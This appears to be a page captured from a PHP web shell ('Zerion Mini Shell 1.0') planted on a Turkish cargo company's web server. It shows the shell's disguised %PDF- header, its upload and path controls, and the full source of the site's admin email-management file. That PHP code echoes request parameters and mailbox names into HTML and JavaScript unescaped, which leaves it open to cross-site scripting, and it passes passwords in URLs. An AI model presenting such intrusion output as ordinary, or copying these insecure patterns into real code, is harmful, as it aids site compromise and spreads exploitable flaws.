%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/cargonizer/domains/cargonizer.com.tr/public_html/admin/
Upload File :
Create Path :
Current File : /home/cargonizer/domains/cargonizer.com.tr/public_html/admin/emails.php

<?php
    include '../includes/directadmin.php';
    include '../includes/yandex.php';

    $domain = str_replace('www.','',$settings['host']);

    $DA = new HTTPSocket();

    $DA->connect($settings['host'],$settings['port']);
    $DA->set_login($settings['user'],$settings['pass']);
    $DA->set_method('GET');

    $DA->query('/CMD_API_SHOW_USER_CONFIG');
    $config = $DA->fetch_parsed_body();

    if($config['nemails']=='unlimited') $config['nemails'] = 1000; else { $config['nemails']-=1; }

    $yandex = new Yandex();
    $yandex->mtoken = $settings['yandex_token'];

    if($_POST['save']) {
        $result = $yandex->reg_user($domain,$_POST['login'],$_POST['pass']);
        if(isset($result->status->success))
            echo message('Eposta adresiniz başarı ile eklenmiştir.','success');
        else {
            switch($result->status->error) {
                case 'passwd-tooshort':
                    echo message('Seçtiğiniz şifre çok kısa lütfen daha uzun bir şifre giriniz.','error');
                    break;
                case 'passwd-empty':
                    echo message('Şifre alanı boş olamaz.! Lütfen geçerli bir şifre giriniz..','error');
                    break;
                case 'occupied':
                    echo message('Zaten aynı mailden sistemde kayıtlı bir mail var.','error');
                    break;
                default:
                    echo message('Hata oluştu. Lütfen değerleri kontrol ederek tekrar deneyiniz.','error');
            }
        }
    }

    if($_GET['action']=='delete') {
        $result = $yandex->del_user($_GET['login']);
        if(isset($result->ok))
            echo message('Eposta adresiniz başarı ile silinmiştir.','success');
        else
            echo message($result->error['reason'],'error');
    }
    if($_GET['action']=='edit') {
        if(trim(clean($_GET['pass']))){
            $result = $yandex->change_pass($_GET['login'],$_GET['pass']);
            print_r($result);
            if(isset($result->ok))
                echo message('Şifreniz başarı ile değiştirilmiştir.','success');
            else {
                switch($result->error['reason']) {
                    case 'passwd-tooshort':
                        echo message('Seçtiğiniz şifre çok kısa lütfen daha uzun bir şifre giriniz.','error');
                        break;
                    case 'passwd-empty':
                        echo message('Şifre alanı boş olamaz.! Lütfen geçerli bir şifre giriniz..','error');
                        break;
                    case 'occupied':
                        echo message('Zaten aynı mailden sistemde kayıtlı bir mail var.','error');
                        break;
                    default:
                        echo message('Hata oluştu. Lütfen değerleri kontrol ederek tekrar deneyiniz.','error');
                }
            }
        }
        else
            echo message('Şifre alanı boş olamaz.! Lütfen geçerli bir şifre giriniz..','error');
    }

    $info = $yandex->get_users($_GET['pg'],PERPAGE);
    $emails = $info->emails;
    $pagi->pg = ($_GET['pg']) ? $_GET['pg'] : 1;
    $pagi->link = '?s=emails'._GETFilter('pg').'&';
    $pagi->perpage = PERPAGE;
    $pagi->count = $emails->total;
?>
<div class="row">
    <div class="col-md-12">
        <h3 class="page-title">
            Eposta Yönetimi
        </h3>
        <ul class="page-breadcrumb breadcrumb">
            <li>
                <i class="fa fa-home"></i>
                <a href="index.php">
                    Anasayfa
                </a>
                <i class="fa fa-angle-right"></i>
            </li>
            <li>
                <a>Genel Ayarlar</a>
                <i class="fa fa-angle-right"></i>
            </li> 
            <li>
                <a href="?s=emails">
                    Eposta Yönetimi
                </a>
            </li>
        </ul>
    </div>
</div>
<div class="row">
    <div class="col-md-7 col-sm-7">
        <div class="portlet box blue">
            <div class="portlet-title">
                <div class="caption">
                    <i class="fa fa-bar-chart-o"></i> Emailler
                </div>
                <div class="actions"></div>
            </div>
            <div class="portlet-body">
                <table class="table table-striped table-bordered table-hover table-full-width" id="data">
                    <thead>
                        <tr>
                            <th>Kullanıcı Adı</th>
                            <th class="col-sm-3">İşlemler</th>
                        </tr>
                    </thead>
                    <tbody>
                        <?php
                            foreach($emails->email as $e) :
                            ?>
                            <tr>
                                <td><?php echo $e->name; ?></td>
                                <td>
                                    <a class="btn primary" href="javascript:;" onclick="changePass('<?php echo $e->name; ?>')"><i class="fa fa-cog"></i> Şifre Değiştir</a>
                                    <a class="btn default btn-xs black" href="javascript:;" onclick="return deleteRow('Eposta Silmek istediğinizden emin misiniz?<br><b>Bütün mailleriniz silinecektir.!</b>','?s=emails&login=<?php echo $e->name; ?>&action=delete');"><i class="fa fa-trash-o"></i> Sil</a>
                                </td>
                            </tr>
                            <?php endforeach; ?>
                    </tbody>
                </table>
            </div>
        </div>
    </div>
    <div class="col-md-5 col-sm-5">
        <div class="portlet box yellow">
            <div class="portlet-title">
                <div class="caption">
                    <i class="fa fa-bar-chart-o"></i> Email Ekleme
                </div>
                <div class="actions"></div>
            </div>
            <div class="portlet-body">
                <form method="post" action="?s=emails&pg=<?php echo $_GET['pg']; ?>">
                    <table class="table table-striped table-bordered table-hover table-full-width" id="data">
                        <tr>
                            <td>Kullanım</td>
                            <td><?php echo $emails->total; ?> / <?php echo $config['nemails']; ?> - Kalan <b><?php echo ($config['nemails']-$emails->total); ?></b> Adet</td>
                        </tr>
                        <?php
                            if($config['nemails']>$emails->total) :
                            ?>
                            <tr>
                                <td>Email Adresi</td>
                                <td>
                                    <div class="col-md-8">
                                        <input type="text" name="login" class="form-control">
                                    </div>
                                    <div class="col-md-4">
                                        @<?php echo $info->name; ?>
                                    </div>
                                </td>
                            </tr>
                            <tr>
                                <td>Şifre</td>
                                <td>
                                    <div class="col-md-8">
                                        <input type="password" name="pass" class="form-control" id="passEdit">
                                    </div>
                                    <div class="col-md-4">
                                        <input type="checkbox" class="form-control"  onclick="showPass(this);" /> Şifreyi göster
                                    </div>
                                </td>
                            </tr>
                            <tr>
                                <td colspan="2" class="text-right"><input type="submit" value="EKLE" name="save" class="btn btn-primary" /></td>
                            </tr>
                            <?php
                                else:
                            ?>
                            <tr>
                                <td colspan="2">
                                    <div class="note note-warning">
                                        <h4 class="block">Uyarı..!</h4>
                                        <p>
                                            Yeni hesap açmanız için hakkınız bulunmamaktadır. Lütfen sistem yöneticiniz ile irtibata geçerek mail hakkınızı yükseltmeyi talep ediniz.
                                        </p>
                                    </div>
                                </td>
                            </tr>
                            <?php endif; ?>
                    </table>
                </form>
            </div>
        </div>
    </div>
</div>
<div class="row">
    <div class="col-md-2">
    </div>
    <div class="col-md-10 text-right">
        <?php echo $pagi->paginations(); ?>
    </div>
    </div>

Zerion Mini Shell 1.0